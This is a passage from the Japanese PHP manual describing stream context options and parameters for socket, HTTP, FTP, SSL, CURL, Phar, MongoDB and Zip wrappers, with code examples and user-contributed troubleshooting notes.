これは、[::] に バインドされたアドレスが存在するときに、 IPv4 アドレス で listen しようとする場合に特に重要です。 上で、

stream_socket_server() でのみ有効です。

so_reuseport

異なるプロセスからであっても、同じ IPアドレス:ポート のペアに 複数 bind することを許可します。

注意:

stream_socket_server() でのみ有効です。

so_broadcast

ブロードキャストアドレスへのデータの送信や、 ブロードキャストアドレスからのデータの受信を有効にします。

注意:

stream_socket_server() でのみ有効です。

tcp_nodelay

このオプションを true にすると、 SOL_TCP,NO_DELAY=1 をそれぞれ設定します。 これによって、TCP の Nagle アルゴリズムを無効にします。

変更履歴

バージョン | 説明
7.1.0 | tcp_nodelay が追加されました。
7.0.1 | ipv6_v6only が追加されました。

例

例1 基本的な bindto の使用例

<?php
// IP アドレス '192.168.0.100' でインターネットに接続する
$opts = array(
    'socket' => array(
        'bindto' => '192.168.0.100:0',
    ),
);

// IP アドレス '192.168.0.100' とポート番号 '7000' でインターネットに接続する
$opts = array(
    'socket' => array(
        'bindto' => '192.168.0.100:7000',
    ),
);

// IPv6 アドレス '2001:db8::1' とポート番号 '7000' でインターネットに接続する
$opts = array(
    'socket' => array(
        'bindto' => '[2001:db8::1]:7000',
    ),
);

// ポート番号 '7000' でインターネットに接続する
$opts = array(
    'socket' => array(
        'bindto' => '0:7000',
    ),
);

// コンテキストを作成し...
$context = stream_context_create($opts);

// ...そしてデータを取得するためにそれを使用する
echo file_get_contents('http://www.example.com', false, $context);

?>

User Contributed Notes

mix at ater dot me 19-Mar-2019 05:18
The right way for forcing IPv6 is 'bindto' => '[::]:0'
guru at jnt-finland dot fi 26-Oct-2015 03:54
You can set "bindto" to "0:0" to force use IPv4 instead of IPv6. And probably "[0]:0" to force use IPv6, thou this I couldn't test.


HTTP コンテキストオプションの一覧

  • ≪ ソケットコンテキストオプション
  • FTP コンテキストオプション ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • HTTP コンテキストオプションの一覧

HTTP コンテキストオプション

HTTP コンテキストオプション — HTTP コンテキストオプションの一覧

説明

http:// および https:// トランスポート用のコンテキストオプションです。

オプション

method string

リモートサーバーでサポートされる GET、 POST あるいはその他の HTTP メソッド。

デフォルトは GET です。

header array あるいは string

リクエストに付加されるヘッダ。ここで指定した値が (User-agent:、Host:、 および Authentication: などの) 他の値を上書きすることもあります。 これは、後にLocation: によってリダイレクトが行われる場合でも同様です。 よって、follow_location が有効になっている場合、 Host: ヘッダを設定することはお勧めしません。

user_agent string

User-Agent: ヘッダとして送信する値。上で説明した header オプションで user-agent が 定義されていない場合のみ使用されます。

デフォルトでは、php.ini の user_agent の設定内容を使用します。

content string

ヘッダの後に送信する追加データ。通常、POST または PUT リクエストの際に使用されます。

proxy string

プロキシサーバーを示す URI (例: tcp://proxy.example.com:5100)。

request_fulluri bool

true を指定すると、リクエストを生成する際に完全な URI (GET http://www.example.com/path/to/file.html HTTP/1.0) が用いられます。これは標準のリクエストフォーマットではありませんが、 このようなフォーマットを要求するプロキシサーバーも存在します。

デフォルトは false です。

follow_location int

Location のリダイレクトをたどります。 0 で無効にできます。

デフォルトは 1 です。

max_redirects int

リダイレクトをたどる最大数。値が 1 以下の場合は リダイレクトをたどらないことを意味します。

デフォルトは 20 です。

protocol_version float

HTTP プロトコルのバージョン。

デフォルトは 1.0 です。

timeout float

読み込みタイムアウト秒数を float (例 10.5) で指定します。

デフォルトでは php.ini 設定 default_socket_timeout の値を使用します。

ignore_errors bool

ステータスコードが失敗を意味する場合でもコンテンツを取得します。

デフォルトは false です。

例

例1 ページの取得と POST データの送信

<?php

$postdata = http_build_query(
    array(
        'var1' => 'some content',
        'var2' => 'doh'
    )
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $postdata
    )
);

$context = stream_context_create($opts);

$result = file_get_contents('http://example.com/submit.php', false, $context);

?>

例2 リダイレクトを無視し、ヘッダとコンテンツの取得

<?php

$url = "http://www.example.org/header.php";

$opts = array('http' =>
    array(
        'method' => 'GET',
        'max_redirects' => '0',
        'ignore_errors' => '1'
    )
);

$context = stream_context_create($opts);
$stream = fopen($url, 'r', false, $context);

// ヘッダ情報およびストリームのメタデータ
var_dump(stream_get_meta_data($stream));

// $url の実際のデータ
var_dump(stream_get_contents($stream));
fclose($stream);
?>

注意

注意: 基盤となるソケットストリームのコンテキストオプション
これ以外のコンテキストオプションが 基盤となるトランスポート でサポートされています。 http:// ストリームの場合は、tcp:// のコンテキストオプションを参照ください。 https:// ストリームの場合は、ssl:// のコンテキストオプションを参照ください。

注意: HTTP ステータスライン
このストリームラッパーがリダイレクトをたどると、 stream_get_meta_data() が返す wrapper_data のインデックス 0 の内容が必ずしもそのコンテンツの HTTP ステータスラインであるとは限らなくなります。

array (
  'wrapper_data' =>
  array (
    0 => 'HTTP/1.0 301 Moved Permanently',
    1 => 'Cache-Control: no-cache',
    2 => 'Connection: close',
    3 => 'Location: http://example.com/foo.jpg',
    4 => 'HTTP/1.1 200 OK',
    ...
最初のリクエストが 301 (permanent redirect) を返したので、ストリームラッパーが自動的にリダイレクト先をたどり、レスポンス 200 (インデックス = 4) を取得しました。

参考

  • http://
  • ソケットコンテキストオプション
  • SSL コンテキストオプション

User Contributed Notes

ASchmidt at Anamera dot net 16-Feb-2021 02:51
With the default of

    'follow_location'   =>  1

be certain NEVER include a "Host:" header in the 'header' array.

If the host is set to "mydomain.com", and that web site has a (quite common) redirect to "www.mydomain.com", then the initial request to "http://mydomain.com" will get the expected response of:

HTTP/1.1 301 Moved Permanently
Location: http://www.mydomain.com/

However, the follow-up request does NOT replace the original "host" header with the new "location" value, as one would expect. Consequently each "follow-location" request will again be served by the original host of "http://mydomain.com", and continue the redirect loop until 'max_redirects' has been exhausted.

(For details: https://bugs.php.net/bug.php?id=77889)
daniel.peder (a) gmail.com 16-Oct-2017 06:55
note that both http and https transports require the same context name http

// OK example:
// this will work as expected
// note the url with https but context with http
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('http' => array(...))));

// INVALID example:
// this will not work, the context will be ignored
// note the url with https also context with https
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('https' => array(...))));
daniel dot peder at gmail dot com 16-Oct-2017 06:50
note that for both http and https protocols require the same 'http' context keyword:

<?php

// CORRECT example:
// this will work as expected
// note the url with https but context with http
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('http' => array(...))));

// INVALID example:
// this will not work, the context will be ignored
// note the url with https also context with https
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('https' => array(...))));
aruntechguy at outlook dot com 22-Sep-2017 02:50
If you want to use Basic Auth while using get_headers(), use stream_context options below.

I am using HEAD method here, but please feel free to use GET also.

<?php
$targetUrl = 'http or https target url here';
$basicAuth = base64_encode('username:password');

stream_context_set_default(
    [
        'http' => [
            'method' => 'HEAD',
            'header' => 'Authorization: Basic ' . $basicAuth
        ]
    ]
);
$result = get_headers($targetUrl);

print_r($result);
ywarnier at beeznest dot org 02-Aug-2017 08:39
Note that setting request_fulluri to true will *change* the value of $_SERVER['REQUEST_URI] on the receiving end (from /abc.php to http://domain.com/abc.php).
jay 14-Apr-2015 01:32
Remember to match content with Content-type:

<?php

$data = array(
    'var1' => 'some content',
    'var2' => 'doh'
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/json',  // here...
        'content' => json_encode($data)  // and here.
    )
);

. . .

?>
nate 17-Apr-2014 03:19
Note that if you set the protocol_version option to 1.1 and the server you are requesting from is configured to use keep-alive connections, the function (fopen, file_get_contents, etc.) will "be slow" and take a long time to complete. This is a feature of the HTTP 1.1 protocol you are unlikely to use with stream contexts in PHP.

Simply add a "Connection: close" header to the request to eliminate the keep-alive timeout:

<?php
// php 5.4 : array syntax and header option with array value
$data = file_get_contents('http://www.example.com/', null, stream_context_create([
    'http' => [
        'protocol_version' => 1.1,
        'header'           => [
            'Connection: close',
        ],
    ],
]));
?>
chris 06-Feb-2014 06:14
I had quite a bit of trouble trying to make a request with fopen through a proxy to a secure url.  I kept getting a 400 Bad Request back from the remote host.  It was receiving the proxy url as the SNI host.  In order to get around this I had to explicity set the SNI host to the domain I was trying to reach.  It's apparently the issue outlined in this bug:

https://bugs.php.net/bug.php?id=63519

<?php
$domain = parse_url($file, PHP_URL_HOST);
$proxy_string = "tcp://" . WP_PROXY_HOST  . ":" . WP_PROXY_PORT;
$opts = array(
    'http' => array( 'proxy' => $proxy_string ),
    'ssl' => array( 'SNI_enabled' => true, 'SNI_server_name' => $domain));
$context = stream_context_create($opts);
$handle = fopen( $file, 'r', false, $context );
?>
vchampion at gmail dot com 23-Oct-2012 01:41
If you use the proxy server and encounter an error "fopen(http://example.com): failed to open stream: HTTP request failed! HTTP/1.0 400 Bad Request" note that in many situations you need also set the parameter "request_fulluri" to "true" in your stream options. Without this option the php script sends the empty request to the server as "GET / HTTP/0.0" and the proxy server replies to it with the "HTTP 400" error.

For example (working sample):
<?php
$stream = stream_context_create(Array("http" => Array("method"  => "GET",
                                                      "timeout" => 20,
                                                      "header"  => "User-agent: Myagent",
                                                      "proxy"   => "tcp://my-proxy.localnet:3128",
                                                      'request_fulluri' => True /* without this option we get an HTTP error! */
                                )));

if ( $fp = fopen("http://example.com", 'r', false, $stream) ) {
    print "well done";
}
?>

P>S> PHP 5.3.17
gourav sarkar 18-Jan-2011 08:09
watch your case when using methods (POST and GET)...it must be always uppercase. in case of you write it in lower case it wont work.


FTP コンテキストオプションの一覧

  • ≪ HTTP コンテキストオプション
  • SSL コンテキストオプション ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • FTP コンテキストオプションの一覧

FTP コンテキストオプション

FTP コンテキストオプション — FTP コンテキストオプションの一覧

説明

ftp:// および ftps:// トランスポート用のコンテキストオプションです。

オプション

overwrite bool

リモートサーバー上の既存のファイルに対する上書きを許可する。 書き込みモード（アップロード）時のみ有効。

デフォルトは false です。

resume_pos int

転送を開始するファイル内の位置。 読み込みモード（ダウンロード）時のみ有効。

デフォルトは 0 (ファイルの先頭) です。

proxy string

FTP リクエストを、http プロキシサーバー経由で行う。 ファイルの読み込み操作にのみ適用される。 例: tcp://squid.example.com:8000

注意

注意: 基盤となるソケットストリームのコンテキストオプション
これ以外のコンテキストオプションが 基盤となるトランスポート でサポートされています。 ftp:// ストリームの場合は、tcp:// のコンテキストオプションを参照ください。 ftps:// ストリームの場合は、ssl:// のコンテキストオプションを参照ください。

参考

  • ftp://
  • ソケットコンテキストオプション
  • SSL コンテキストオプション

User Contributed Notes

instatiendaweb at gmail dot com 07-Mar-2021 08:38
// Ruta del ftp debe coincidir con la ruta del localhost
$ftp_path = 'ftp://francisco:aaa@localhost:21/ftparchivo.txt';
// Escribimos las opciones de stream
$stream_options = array('ftp' => array('overwrite' => TRUE));
// Creamos un contexto
$stream_context = stream_context_create($stream_options);
\escribir::verifacionnota($stream_context, 'STREAMCONTEXT');
// Abrimos el fichero que vamos a leer
$flujo = fopen($ftp_path, 'r', false, $stream_context);
//Funcion creada :vardump + string
\escribir::verifacionnota($flujo, 'VARDUMP FOPEN');

$contenido = '';
//Traduccion mientras el contenido del archivo no este al final del fichero ==> feof
while (!feof($flujo)) {
//Entonces lee 8192 bytes del archivo y anadelos a la variable contenido
$contenido .= fread($flujo, 8192);
}
\escribir::verifacionnota($contenido, 'VARDUMP CONTENIDO');
//Cerramos el flujo
fclose($flujo);
dev at codesatori dot com 24-Nov-2016 07:01
Apparently the overwrite-option only registers as false if it's absent. If I specify it as false, it acts the same as true and overwrites. Then,
<?php
if (empty($opts['overwrite'])) {
    unset($opts['overwrite']);
}
?>
...was the simple fix for my FTP stream wrapper class sporting default options. This is quite unexpected though; false means false even if I say so? Apparently PHP (7.0.2) just checks if the option exists, not its boolean value.
php dot net at misterchucker dot com 15-Apr-2009 06:19
This is an example of how to allow fopen() to overwrite a file on an FTP site. If the stream context is not modified, an error will occur: "...failed to open stream: Remote file already exists and overwrite context option not specified...".

<?php
// The path to the FTP file, including login arguments
$ftp_path = 'ftp://username:password@example.com/example.txt';

// Allows overwriting of existing files on the remote FTP server
$stream_options = array('ftp' => array('overwrite' => true));

// Creates a stream context resource with the defined options
$stream_context = stream_context_create($stream_options);

// Opens the file for writing and truncates it to zero length
if ($fh = fopen($ftp_path, 'w', 0, $stream_context))
{
    // Writes contents to the file
    fputs($fh, 'example contents');

    // Closes the file handle
    fclose($fh);
}
else
{
    die('Could not open file.');
}
?>


SSL コンテキストオプションの一覧

  • ≪ FTP コンテキストオプション
  • CURL コンテキストオプション ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • SSL コンテキストオプションの一覧

SSL コンテキストオプション

SSL コンテキストオプション — SSL コンテキストオプションの一覧

説明

ssl:// および tls:// トランスポート用のコンテキストオプションです。

オプション

peer_name string

使用するピア名。省略した場合は、ストリームをオープンしたときに使ったホスト名をもとに、名前を推測します。

verify_peer bool

SSL サーバー証明書の検証を要求するかどうか。

デフォルトは true です。

verify_peer_name bool

ピア名の検証を要求するかどうか。

デフォルトは true です。

allow_self_signed bool

自己証明の証明書を許可するかどうか。 verify_peer が必要です。

デフォルトは false です。

cafile string

ローカルファイルシステム上の証明書ファイルの場所。 verify_peer オプションでリモートサーバーとの 認証の際に使用する。

capath string

cafile が指定されていなかったりその場所にファイルが 見つからなかったりした場合、capath が指す ディレクトリを検索して認証ファイルを探します。capath は認証ファイルのディレクトリを正確に指している必要があります。

local_cert string

ファイルシステム上のローカル証明書ファイルのパス。 あなたの証明書とプライベートキーを含み、PEM エンコードされた ファイルである必要があります。オプションで、発行者の 認証チェーンを含めることも可能です。 プライベートキーは、 local_pk で指定した別のファイルに含めることも可能です。

local_pk string

ローカルファイルシステム上のプライベートキーファイルの場所。 証明書 (local_cert) とプライベートキーを別のファイルに分けたい場合に用います。

passphrase string

local_cert ファイルをエンコードした際の パスフレーズ。

verify_depth int

証明書のチェインが深すぎる場合に終了するかどうか。

デフォルトでは検証を行いません。

ciphers string

使用可能な暗号化方式の一覧を設定します。設定できるフォーマットは » ciphers(1) の説明を参照ください。

デフォルトは DEFAULT です。

capture_peer_cert bool

true に設定すると、peer_certificate コンテキストオプションがピア証明書を含んで作成されます。

capture_peer_cert_chain bool

true に設定すると、peer_certificate_chain コンテキストオプションが証明書チェインを含んで作成されます。

SNI_enabled bool

true に設定すると、サーバー名の表示 (SNI) が有効になります。 これを有効にすると、同じ IP アドレスで複数の証明書を使えるようになります。

disable_compression bool

設定すると、TLS 圧縮を無効にします。これは、CRIME アタックベクターを軽減するのに役立ちます。

peer_fingerprint string | array

リモート証明書のダイジェストが指定したハッシュに一致しない場合に、異常終了させます。

string を指定する場合は、その長さでハッシュアルゴリズムを判断します。 "md5" (32) あるいは "sha1" (40) のいずれかです。

array を指定する場合は、キーがハッシュアルゴリズムで、 それに対応する値がダイジェストとなります。

security_level int

セキュリティレベルを設定します。 指定されない場合、ライブラリのデフォルトのセキュリティレベルが使われます。 セキュリティレベルについては、 » SSL_CTX_get_security_level(3) に説明があります。

PHP 7.2.0 および OpenSSL 1.1.0 以降が必要です。

変更履歴

バージョン | 説明
7.2.0 | security_levels が追加されました。 OpenSSL >= 1.1.0 が必要です。

注意

注意: ssl:// は https:// および ftps:// のラッパーの 基盤となるものなので、ssl:// に適用可能なオプションは https:// および ftps:// にも 適用可能です。

注意: SNI (Server Name Indication) を使うには、PHP のコンパイル時に OpenSSL 0.9.8j 以降を使わなければなりません。SNI をサポートしているかどうかは OPENSSL_TLSEXT_SERVER_NAME で判定します。

参考

  • ソケットコンテキストオプション

User Contributed Notes

gabri dot ns at gmail dot com 13-Jan-2020 09:21
i usually download root CA certificate from https://curl.haxx.se/docs/caextract.html then put it as 'cafile' and it work almost all of the time.

the only problem i'v ever found is when the server does not properly sending intermediete CA certificate, then, you must add it manually to the file.
mechtecs at gmail dot com 09-Nov-2018 01:09
If you want to validate the server against a local certificate, which you already saved, to further validate the target server, you have to use a fullchain.pem. Then the verify_peer option will work. So just get the server certificate, and search the root CA's pem's and copy everything into a single file. For example:

My certificate has the "GeoTrust TLS RSA CA G1" certificate in the chain, so you google that string. Go to the official digicert Geotrust page and download the "GeoTrustTLSRSACAG1.crt" certificate. Then you can use the following command to convert it into the pem format:
openssl x509 -inform DER -in GeoTrustTLSRSACAG1.crt -out GeoTrustTLSRSACAG1.crt.pem -outform PEM
Charlie 05-Dec-2016 07:53
I am unable to load a PEM that was generated with the stunnel tools. However, I am able to use PHP calls to generate a working PEM that is recognized both by stunnel and php, as outlined here:

http://www.devdungeon.com/content/how-use-ssl-sockets-php

This code fragment is now working for me, and with stunnel verify=4, both sides confirm the fingerprint. Oddly, if "tls://" is set below, then TLSv1 is forced, but using "ssl://" allows TLSv1.2:

$stream_context = stream_context_create([ 'ssl' => [
'local_cert'        => '/path/to/key.pem',
'peer_fingerprint'  => openssl_x509_fingerprint(file_get_contents('/path/to/key.crt')),
'verify_peer'       => false,
'verify_peer_name'  => false,
'allow_self_signed' => true,
'verify_depth'      => 0 ]]);

$fp = stream_socket_client('ssl://ssl.server.com:12345',
   $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $stream_context);
fwrite($fp, "foo bar\n");
while($line = fgets($fp, 8192)) echo $line;
Charlie 02-Dec-2016 07:28
It appears that "allow_self_signed" does not and cannot apply to the local_cert option.

The stunnel verify=4 option, which verifies but ignores a CA, has no analog in these settings, which is unfortunate.

Even more perplexingly, while the "openssl verify -CAfile" is successful, PHP appears unable to use the new ca/crt pair in any configuration.

I did actually link my PHP against a copy of LibreSSL 2.3.8, but PHP oddly is unable to use TLS1.1 or 1.2. It does, however, enable EC secp521r1 (of which my native OpenSSL 0.9.8e is incapable).
website at meezaan dot net 05-Sep-2016 01:48
There is also a crypto_type context. In older versions this was crypto_method. This is referenced on http://php.net/manual/en/function.stream-socket-enable-crypto.php.
borbas dot geri at gmail dot com 31-Jan-2014 12:06
I used this for Apple Push Notification Service.
Passed in a local certificate filename `cert.pem` trough local_cert option.
Worked fine, when invoked the script directly.

But when I included/required the script from a different location, it stopped working, without any explicit error message.

Resolved by passed in the full path for the file `<FullPathTo>cert.pem`.
Botjan kufca 20-Feb-2010 11:11
CN_match works contrary to intuitive thinking. I came across this when I was developing SSL server implemented in PHP. I stated (in code):

- do not allow self signed certs (works)
- verify peer certs against CA cert (works)
- verify the client's CN against CN_match (does not work), like this:

stream_context_set_option($context, 'ssl', 'CN_match', '*.example.org');

I presumed this would match any client with CN below .example.org domain.
Unfortunately this is NOT the case. The option above does not do that.

What it really does is this:
- it takes client's CN and compares it to CN_match
- IF CLIENT's CN CONTAINS AN ASTERISK like *.example.org, then it is matched against CN_match in wildcard matching fashion

Examples to illustrate behaviour:
(CNM = server's CN_match)
(CCN = client's CN)

- CNM=host.example.org, CCN=host.example.org ---> OK
- CNM=host.example.org, CCN=*.example.org ---> OK
- CNM=.example.org, CCN=*.example.org ---> OK
- CNM=example.org, CCN=*.example.org ---> ERROR

- CNM=*.example.org, CCN=host.example.org ---> ERROR
- CNM=*.example.org, CCN=*.example.org ---> OK

According to PHP sources I believe that the same applies if you are trying to act as Client and the server contains a wildcard certificate. If you set CN_match to myserver.example.org and server presents itself with *.example.org, the connection is allowed.

Everything above applies to PHP version 5.2.12.
I will supply a patch to support CN_match starting with asterisk.


CURL コンテキストオプションの一覧

  • ≪ SSL コンテキストオプション
  • Phar コンテキストオプション ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • CURL コンテキストオプションの一覧

CURL コンテキストオプション

CURL コンテキストオプション — CURL コンテキストオプションの一覧

説明

CURL コンテキストオプションは、 CURL 拡張モジュールのコンパイル時に --with-curlwrappers オプションを指定すると使用可能となります。

オプション

method string

GET、POST あるいはその他リモートサーバーがサポートする HTTP メソッド。

デフォルトは GET です。

header string

リクエスト時に送信する追加のヘッダ。このオプションの値は (User-agent: や Host:、 Authentication: といった) 他の値を上書きします。

user_agent string

User-Agent: ヘッダで送信する値。

デフォルトでは、php.ini の user_agent の設定内容を使用します。

content string

ヘッダの後に送信する追加データ。このオプションは GET あるいは HEAD リクエストでは使用しません。

proxy string

プロキシサーバーのアドレスを表す URI (tcp://proxy.example.com:5100 など)。

max_redirects int

リダイレクトを追いかける最大数。1 以下を指定した場合は、リダイレクトを追跡しません。

デフォルトは 20 です。

curl_verify_ssl_host bool

ホストを検証する。

デフォルトは false です。

注意:

このオプションは、http および ftp の両方のプロトコルラッパーで使用可能です。

curl_verify_ssl_peer bool

SSL 証明書の検証を要求する。

デフォルトは false です。

注意:

このオプションは、http および ftp の両方のプロトコルラッパーで使用可能です。

例

例1 ページの取得と POST データの送信

<?php

$postdata = http_build_query(
    array(
        'var1' => 'some content',
        'var2' => 'doh'
    )
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $postdata
    )
);

$context = stream_context_create($opts);

$result = file_get_contents('http://example.com/submit.php', false, $context);

?>

参考

  • ソケットコンテキストオプション

User Contributed Notes

There are no user contributed notes for this page.


Phar コンテキストオプション一覧

  • ≪ CURL コンテキストオプション
  • MongoDB コンテキストオプション ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • Phar コンテキストオプション一覧

Phar コンテキストオプション

Phar コンテキストオプション — Phar コンテキストオプション一覧

説明

phar:// ラッパーのコンテキストオプションです。

オプション

compress int

Phar 圧縮定数 のいずれか。

metadata mixed

Phar メタデータ。Phar::setMetadata() を参照ください。

参考

  • phar://
  • Phar ストリームラッパー

User Contributed Notes

There are no user contributed notes for this page.


MongoDB コンテキストオプション一覧

  • ≪ Phar コンテキストオプション
  • コンテキストパラメータ ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • MongoDB コンテキストオプション一覧

MongoDB コンテキストオプション

MongoDB コンテキストオプション — MongoDB コンテキストオプション一覧

説明

mongodb:// トランスポート用のコンテキストオプションです。

オプション

log_cmd_insert callable

ドキュメントを挿入する際に呼び出されるコールバック関数です。log_cmd_insert() を参照ください。

log_cmd_delete callable

ドキュメントを削除する際に呼び出されるコールバック関数です。log_cmd_delete() を参照ください。

log_cmd_update callable

ドキュメントを更新する際に呼び出されるコールバック関数です。log_cmd_update() を参照ください。

log_write_batch callable

書き込みバッチを実行する際に呼び出されるコールバック関数です。log_write_batch() を参照ください。

log_reply callable

MongoDB からの応答を読み取る際に呼び出されるコールバック関数です。log_reply() を参照ください。

log_getmore callable

MongoDB のカーソルからより多くの結果を取得する際に呼び出されるコールバック関数です。log_getmore() を参照ください。

log_killcursor callable

killcursor オペコードを実行す際に呼び出されるコールバック関数です。log_killcursor() を参照ください。

変更履歴

バージョン | 説明
pecl/mongo 1.5.0 | 書き込み API コンテキストオプションが追加されました

参考

  • ソケットコンテキストオプション
  • SSL コンテキストオプション

User Contributed Notes

There are no user contributed notes for this page.


コンテキストパラメータの一覧

  • ≪ MongoDB コンテキストオプション
  • Zip コンテキストオプション ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • コンテキストパラメータの一覧

コンテキストパラメータ

コンテキストパラメータ — コンテキストパラメータの一覧

説明

これらの パラメータ を コンテキスト に設定するには stream_context_set_params() 関数を使用します。

パラメータ

notification callable

イベントがストリーム上で発生したときにコールされる callable。

詳細は stream_notification_callback を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


Zip コンテキストオプション一覧

  • ≪ コンテキストパラメータ
  • サポートするプロトコル/ラッパー ≫
  • PHP Manual
  • コンテキストオプションとパラメータ
  • Zip コンテキストオプション一覧

Zip コンテキストオプション

Zip コンテキストオプション — Zip コンテキストオプション一覧

説明

Zip コンテキストオプションは zip ラッパーで使用可能です。

オプション

password

アーカイブの暗号化に使われたパスワードを指定します。

変更履歴

バージョン | 説明
PHP 7.2.0, PECL zip 1.14.0 | password が追加されました。

例

例1 password の基本的な使用例

<?php
// 暗号化されたアーカイブを参照する
$opts = array(
    'zip' => array(
        'password' => 'secret',
    ),
);
// コンテキストを作成して
$context = stream_context_create($opts);

// データを取得する
echo file_get_contents('zip://test.zip#test.txt', false, $context);

?>

User Contributed Notes

There are no user contributed notes for this page.


サポートするプロトコル/ラッパー

PHP には多くの組み込みラッパーが用意されています。さまざまな URL 風のプロトコルによって、 fopen() や copy()、 file_exists() そして filesize() といったファイルシステム関数で使用することができます。 これらのラッパーだけでなく、 stream_wrapper_register() 関数でラッパーを自作することもできます。

注意: ラッパーを指定する際の URL 構文としてサポートしているのは scheme://... 形式のみです。 scheme:/ や scheme: といった形式には対応していません。

目次

  • file:// — ローカルファイルシステムへのアクセス
  • http:// — HTTP(s) URL へのアクセス
  • ftp:// — FTP(s) URL へのアクセス
  • php:// — さまざまな入出力ストリームへのアクセス
  • zlib:// — 圧縮ストリーム
  • data:// — データ (RFC 2397)
  • glob:// — パターンにマッチするパス名の検索
  • phar:// — PHP アーカイブ
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — オーディオストリーム
  • expect:// — 対話的プロセスストリーム

User Contributed Notes

kazdotkanso at geeemail dot com 25-Sep-2020 06:28
The php://fd/ wrapper is only supported in the cli tool.
Anonymous 29-Mar-2018 06:02
Be forewarned:

the file:// protocol used in file_get_contents is used as the default for "any unrecognized protocol." Thus:

aldfjadlfadfladfl://whatever

will deliver the same as

file://whatever
Hayley Watson 10-Jan-2018 11:56
Even though their names will be the same, you can have more than one //memory or //temp stream open concurrently; each time you fopen() such a stream, a NEW stream will be opened independently of the others.

This is hinted at by the fact you don't add any unique identifier to the path when creating such streams, but isn't said explicitly.

<?php

$hello = fopen('php://memory', 'r+'); // $hello, $php, $world are all different streams.
$php  = fopen('php://memory', 'r+');
$world = fopen('php://memory', 'r+'); // They're not the same stream opened three times.

fputs($hello, "Hello ");
fputs($php, "PHP ");
rewind($php);
fputs($world, "World!");
rewind($hello);
rewind($world);

echo '[', stream_get_contents($hello), '][', stream_get_contents($php), '][', stream_get_contents($world), ']';
// If they were the same stream the output would be "[World!][World!][World!]".
?>
Anonymous 13-Aug-2017 12:37
If you want to filter incoming data through php://input use this:

file_get_contents("php://filter/read=string.strip_tags/resource=php://input");

I couldn't find any documentation to explain how to do this. All the examples I came across suggested that a full and actual URL had to be used (which didn't work for me).

This seems to work though.
Anonymous 28-Jan-2016 08:58
Note that STDIN and similar are defined only in CLI
ohcc at 163 dot com 05-Nov-2015 06:45
<?php
    //enable $HTTP_RAW_POST_DATA when necessary
    ini_set('always_populate_raw_post_data',-1);
    $HTTP_RAW_POST_DATA = file_get_contents('php://input');
    echo $HTTP_RAW_POST_DATA;
?>
nguyenanthuan at gmail dot com 18-Nov-2014 11:05
Each stream pointer to php://memory and php://temp has its own memory allocation, so you can open many stream pointers to store your separated values.

<?php
$fp = fopen("php://temp", "r+");
$fp2 = fopen("php://temp", "r+");

fwrite($fp, "line1\n");
fwrite($fp2, "line4\n");
fwrite($fp, "line2\n");
fwrite($fp2, "line5\n");
fwrite($fp, "line3\n");
fwrite($fp2, "line6\n");

var_dump(memory_get_usage());

rewind($fp);
while(!feof($fp)) {
    var_dump(fread($fp, 1024));
}
fclose($fp);
var_dump(memory_get_usage());

rewind($fp2);
while(!feof($fp2)) {
    var_dump(fread($fp2, 1024));
}
fclose($fp2);
var_dump(memory_get_usage());
?>

Closing their stream handles will also free the allocated memory.

php://memory stream type is MEMORY, while php://temp stream type is STDIO FILE*.
vibhavsinha91 at gmail dot com 08-Sep-2014 10:35
While writing to error stream, error_log() function comes as a shorthand to writing to php://stderr . This function also allows writing to web server log when running through a web server such as apache.
oliver at codeinline dot com 13-Feb-2014 07:14
A useful way to handle large file uploads is to do something like:

copy(("php://input"),$tmpfile);

as this avoids using lots of memory just to buffer the file content.

The correct mime type for this should be "application/octet-stream" however if you set this or any other recognised mime type other than "multipart/form-data" on your POST then $HTTP_RAW_POST_DATA is populated and the memory is consumed anyway.

Setting the mime type to "multipart/form-data" raises "PHP Warning:  Missing boundary in multipart/form-data POST data in Unknown on line 0" however it seems to work without a problem.
dave at 4mation dot com dot au 03-Jun-2013 04:46
The use of php://temp/maxmemory as a stream counts towards the memory usage of the script; you are not specifying a new memory pool by using this type of stream.
As noted in the documentation however, this stream type will start to write to a file after the specified maxmemory limit is exceeded. This file buffer is NOT observed by the memory limit.
This is handy if you want your script to have a reasonably small memory limit (eg 32MB) but but still be able to handle a huge amount of data in a stream (eg 256MB)

The only works if you use stream functions like fputs(); if you use $buffer .= 'string'; or $buffer = $buffer . 'string'; you're calling your stream data back into PHP and this will hit the limiter.

As a practical example:

<?php
// 0.5MB memory limit
ini_set('memory_limit', '0.5M');
// 2MB stream limit
$buffer = fopen('php://temp/maxmemory:1048576', 'r+');
$x = 0;
// Attempt to write 1MB to the stream
while ($x < 1*1024*1024) {
    fputs($buffer, 'a');
    $x++;
}
echo "This will never be displayed";
?>

However, change fopen to use php://temp/maxmemory:1 (one byte, rather than one megabyte) and it will begin writing to the unlimited file stream immediately, avoiding memory limit errors.
Anonymous 01-May-2013 09:17
In PHP 5.4+ you can read multipart data via php://input if you set enable_post_data_reading to Off.

Of course if you set it to off, the $_POST and $_FILES superglobals won't be populated at all. It's entirely up to you to parse the data now.
Justin Megawarne 23-Apr-2013 04:42
If my understanding of the implementing code is correct, every time you open a php://memory stream, you get new storage allocated. That is to say, php://memory isn't a shared bank of memory.
fabacrans__ at __nospamhotmail__ dot __com 05-Mar-2013 12:06
You can use "php://input" to accept and parse "PUT", "DELETE", etc. requests.

<?php
// Example to parse "PUT" requests
parse_str(file_get_contents('php://input'), $_PUT);

// The result
print_r($_PUT);
?>

(very useful for Restful API)
php at rapsys dot eu 06-Aug-2012 02:00
Here is a snippet to read compressed raw post data without enabling global variables.

